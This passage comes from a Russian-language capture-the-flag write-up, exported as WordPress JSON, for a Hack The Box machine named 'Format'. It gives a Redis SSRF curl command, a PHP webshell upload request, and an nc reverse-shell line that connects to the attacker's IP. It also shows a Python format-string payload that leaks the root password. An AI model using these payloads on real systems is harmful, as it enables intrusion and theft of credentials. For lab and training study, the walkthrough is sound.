\u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443 SSRF \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u043b\u044f Redis \u043a\u043e\u043c\u0430\u043d\u0434\u044b HSET, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b Hash \u0434\u043b\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>microblog.htb<\/code> \u0434\u043e Pro:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ncurl -X &quot;HSET&quot; http:\/\/microblog.htb\/static\/unix:%2fvar%2frun%2fredis%2fredis.sock:test123%20pro%20true%20a\/b\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e <code>\/uploads<\/code> \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c, \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043a\u043e\u0434\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>provisionProUser<\/code>. \u0418\u0442\u0430\u043a, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u043f\u0440\u0430\u0432\u0430 Pro \u043a\u0430\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043e \u0432\u044b\u0448\u0435 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c PHP shell:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPOST \/edit\/index.php HTTP\/1.1\nHost: l******e.microblog.htb\n&#x5B;...]\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 87\nOrigin: http:\/\/l******e.microblog.htb\nConnection: close\nReferer: http:\/\/l******e.microblog.htb\/edit\/\nCookie: username=&#x5B;...]\nUpgrade-Insecure-Requests: 1\n\nid=\/var\/www\/microblog\/test\/uploads\/rev.php&amp;amp;txt=&amp;lt;%3fphp+system($_REQUEST&#x5B;'cmd'])%3b+%3f&gt;\n<\/pre><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-45.png\" alt=\"\" class=\"wp-image-711\" width=\"600\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e PHP webshell \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u0440\u0442 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>nc -nvlp 7331<\/p>\n<\/blockquote>\n\n\n\n<p>\u0418 \u043f\u0435\u0440\u0435\u0434\u0430\u0434\u0438\u043c \u0432 PHP webshell \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 cmd \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>nc+yourIP+7331<\/p>\n<\/blockquote>\n\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e www-data, \u043d\u043e \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430\u043c \u0432\u0441\u0451 \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nwww-data@format:~\/microblog\/l******e\/uploads$ whoami\nwhoami\nwww-data\nwww-data@format:~\/microblog\/l******e\/uploads$\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e<\/h3>\n\n\n\n<p>\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 <code>pspy<\/code>64, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0433\u043e \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0432\u043e\u0434:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B;...]\n2023\/07\/28 15:12:03 CMD:   UID=0   PID=4596   | \/usr\/bin\/redis-cli -s \/var\/run\/redis\/redis.sock HSET cooper.dooper username cooper.dooper\n2023\/07\/28 15:12:03 CMD:   UID=0   PID=4597   | \/usr\/bin\/redis-cli -s \/var\/run\/redis\/redis.sock HSET cooper.dooper password zooperdoopercooper\n2023\/07\/28 15:12:03 CMD:   UID=0   PID=4598   | \/usr\/bin\/redis-cli -s \/var\/run\/redis\/redis.sock HSET cooper.dooper first-name Cooper\n2023\/07\/28 15:12:03 CMD:   UID=0   PID=4599   | \/usr\/bin\/redis-cli -s \/var\/run\/redis\/redis.sock HSET cooper.dooper last-name Dooder\n2023\/07\/28 15:12:03 CMD:   UID=0   PID=4600   | \/usr\/bin\/redis-cli -s \/var\/run\/redis\/redis.sock HSET cooper.dooper pro false\n2023\/07\/28 15:12:03 CMD:   UID=0   PID=4601   | \/usr\/bin\/redis-cli -s \/var\/run\/redis\/redis.sock LPUSH cooper.dooper:sites sunny\n&#x5B;...]\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>cooper<\/code>:<code>zooperdoopercooper<\/code><\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0435\u0433\u043e:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-46.png\" alt=\"\" class=\"wp-image-714\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u0435\u0433\u043e \u0444\u043b\u0430\u0433\u0443!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0434\u043e root<\/h3>\n\n\n\n<p>\u0418\u0449\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nsudo -l\n<\/pre><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-47.png\" alt=\"\" class=\"wp-image-715\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u044d\u0442\u043e\u0442 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-48.png\" alt=\"\" class=\"wp-image-716\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0412\u044b\u0432\u0435\u0434\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0435\u0433\u043e \u0447\u0430\u0441\u0442\u0438:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nimport base64\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC\nfrom cryptography.fernet import Fernet\nimport random\nimport string\nfrom datetime import date\nimport redis\nimport argparse\nimport os\nimport sys\n\nclass License():\n    def __init__(self):\n        chars = string.ascii_letters + string.digits + string.punctuation\n        self.license = ''.join(random.choice(chars) for i in range(40))\n        self.created = date.today()\n\nif os.geteuid() != 0:\n    print(&quot;&quot;)\n    print(&quot;Microblog license key manager can only be run as root&quot;)\n    print(&quot;&quot;)\n    sys.exit()\n\nparser = argparse.ArgumentParser(description='Microblog license key manager')\ngroup = parser.add_mutually_exclusive_group(required=True)\ngroup.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')\ngroup.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')\ngroup.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')\nargs = parser.parse_args()\n&#x5B;...]\nr = redis.Redis(unix_socket_path='\/var\/run\/redis\/redis.sock')\n\nsecret = &#x5B;line.strip() for line in open(&quot;\/root\/license\/secret&quot;)]&#x5B;0]\nsecret_encoded = secret.encode()\nsalt = b'microblogsalt123'\nkdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())\nencryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))\n\nf = Fernet(encryption_key)\nl = License()\n\n#provision\nif(args.provision):\n    user_profile = r.hgetall(args.provision)\n    if not user_profile:\n        print(&quot;&quot;)\n        print(&quot;User does not exist. Please provide valid username.&quot;)\n        print(&quot;&quot;)\n        sys.exit()\n    existing_keys = open(&quot;\/root\/license\/keys&quot;, &quot;r&quot;)\n    all_keys = existing_keys.readlines()\n    for user_key in all_keys:\n        if(user_key.split(&quot;:&quot;)&#x5B;0] == args.provision):\n            print(&quot;&quot;)\n            print(&quot;License key has already been provisioned for this user&quot;)\n            print(&quot;&quot;)\n            sys.exit()\n    prefix = &quot;microblog&quot;\n    username = r.hget(args.provision, &quot;username&quot;).decode()\n    firstlast = r.hget(args.provision, &quot;first-name&quot;).decode() + r.hget(args.provision, &quot;last-name&quot;).decode()\n    license_key = (prefix + username + &quot;{license.license}&quot; + firstlast).format(license=l)\n    print(&quot;&quot;)\n    print(&quot;Plaintext license key:&quot;)\n    print(&quot;------------------------------------------------------&quot;)\n    print(license_key)\n    print(&quot;&quot;)\n    license_key_encoded = license_key.encode()\n    license_key_encrypted = f.encrypt(license_key_encoded)\n    print(&quot;Encrypted license key (distribute to customer):&quot;)\n    print(&quot;------------------------------------------------------&quot;)\n    print(license_key_encrypted.decode())\n    print(&quot;&quot;)\n    with open(&quot;\/root\/license\/keys&quot;, &quot;a&quot;) as license_keys_file:\n        license_keys_file.write(args.provision + &quot;:&quot; + license_key_encrypted.decode() + &quot;\\n&quot;)\n&#x5B;...]\n<\/pre><\/div>\n\n\n<p>\u0414\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 NoSQL \u0421\u0423\u0411\u0414 Redis, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044f\u0441\u044c \u043a \u043d\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f \u0432 <code>\/root\/license\/secret<\/code>, \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u043a\u043e\u0434\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0442\u043e\u0433\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>{license.license}<\/code>. \u0424\u0443\u043d\u043a\u0446\u0438\u044f format() \u044f\u0437\u044b\u043a\u0430 Python \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u0430 \u043a \u0440\u044f\u0434\u0443 \u0430\u0442\u0430\u043a &#8211; Format String, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u043c \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>\/root\/licence\/secret<\/code>. \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 microblog.htb \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>cooper<\/code> \u0432\u043d\u0435\u0434\u0440\u0438\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0432 \u0431\u0430\u0437\u0443 Redis \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ncooper@format:~$ redis-cli -s \/run\/redis\/redis.sock \nredis \/run\/redis\/redis.sock&gt; INFO keyspace\n# Keyspace\ndb0:keys=4,expires=1,avg_ttl=1422098\nredis \/run\/redis\/redis.sock&gt; select 0\nOK\nredis \/run\/redis\/redis.sock&gt; keys *\n1) &quot;cooper.dooper:sites&quot;\n2) &quot;e******l&quot;\n3) &quot;PHPREDIS_SESSION:d7rhub22llhlaq7bl9a327cg5u&quot;\n4) &quot;cooper.dooper&quot;\nredis \/var\/run\/redis\/redis.sock&gt; HMSET e******l first-name &quot;{license.__init__.__globals__&#x5B;secret_encoded]}&quot; last-name e******l username e******l\nOK\nredis \/var\/run\/redis\/redis.sock&gt; exit\ncooper@format:~$ sudo \/usr\/bin\/license -p e******l\n\nPlaintext license key:\n------------------------------------------------------\nmicrobloge******l&amp;lt;}e0d5bZc#)!Ef0()(NnX1vkA')|AD:A}e\/eGq{tb'unCR4ckaBL3Pa$$w0rd'e******l\n\nEncrypted license key (distribute to customer):\n------------------------------------------------------\ngAAAAABktmfRMq1QRvBJx1fTjlBnRA9Zkpvt0y6AA3maGpQRnHnwNPoS2CYOY3bFQnymqV2Pz-VJw1CdW865NZsExL-WVblJJN2Fy0RaUs8fpgtDnzm-PKp_LHm0zssyDAOls397PhzVh186SfGHK_bKbRSCo9jARNUAOZ9ViR05lKDcyIPrMJQ=\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 <code>root<\/code>: <code>unCR4ckaBL3Pa$$w0rd<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-49.png\" alt=\"\" class=\"wp-image-719\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e <code>root<\/code> \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0435\u0433\u043e \u0444\u043b\u0430\u0433!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0421\u0441\u044b\u043b\u043a\u0438:<\/h3>\n\n\n\n<p><a href=\"https:\/\/github.com\/DominicBreuker\/pspy\">https:\/\/github.com\/DominicBreuker\/pspy<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/linuxhint.com\/redis-hset\/\">https:\/\/linuxhint.com\/redis-hset\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/podalirius.net\/en\/articles\/python-format-string-vulnerabilities\/\">https:\/\/podalirius.net\/en\/articles\/python-format-string-vulnerabilities\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.geeksforgeeks.org\/vulnerability-in-str-format-in-python\/\">https:\/\/www.geeksforgeeks.org\/vulnerability-in-str-format-in-python\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c: Medium \u041e\u0421: Linux \u0411\u0430\u043b\u043b\u044b: 30 IP: 10.10.11.213 \u0422\u0435\u0433\u0438: XSS, LFI, Redis, RCE, Format String Injection \u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u044d\u043a\u0435\u043d\u0434\u0430 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 PHP. \u0414\u0430\u043b\u0435\u0435, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0441\u0442\u0430\u0442\u0443\u0441 Pro \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-697","post","type-post","status-publish","format-standard","hentry","category-blog"],"translation":{"provider":"WPGlobus","version":"3.0.0","language":"en","enabled_languages":["ru","en"],"languages":{"ru":{"title":true,"content":true,"excerpt":false},"en":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/697","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/comments?post=697"}],"version-history":[{"count":22,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/697\/revisions"}],"predecessor-version":[{"id":732,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/697\/revisions\/732"}],"wp:attachment":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/media?parent=697"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/categories?post=697"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/tags?post=697"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}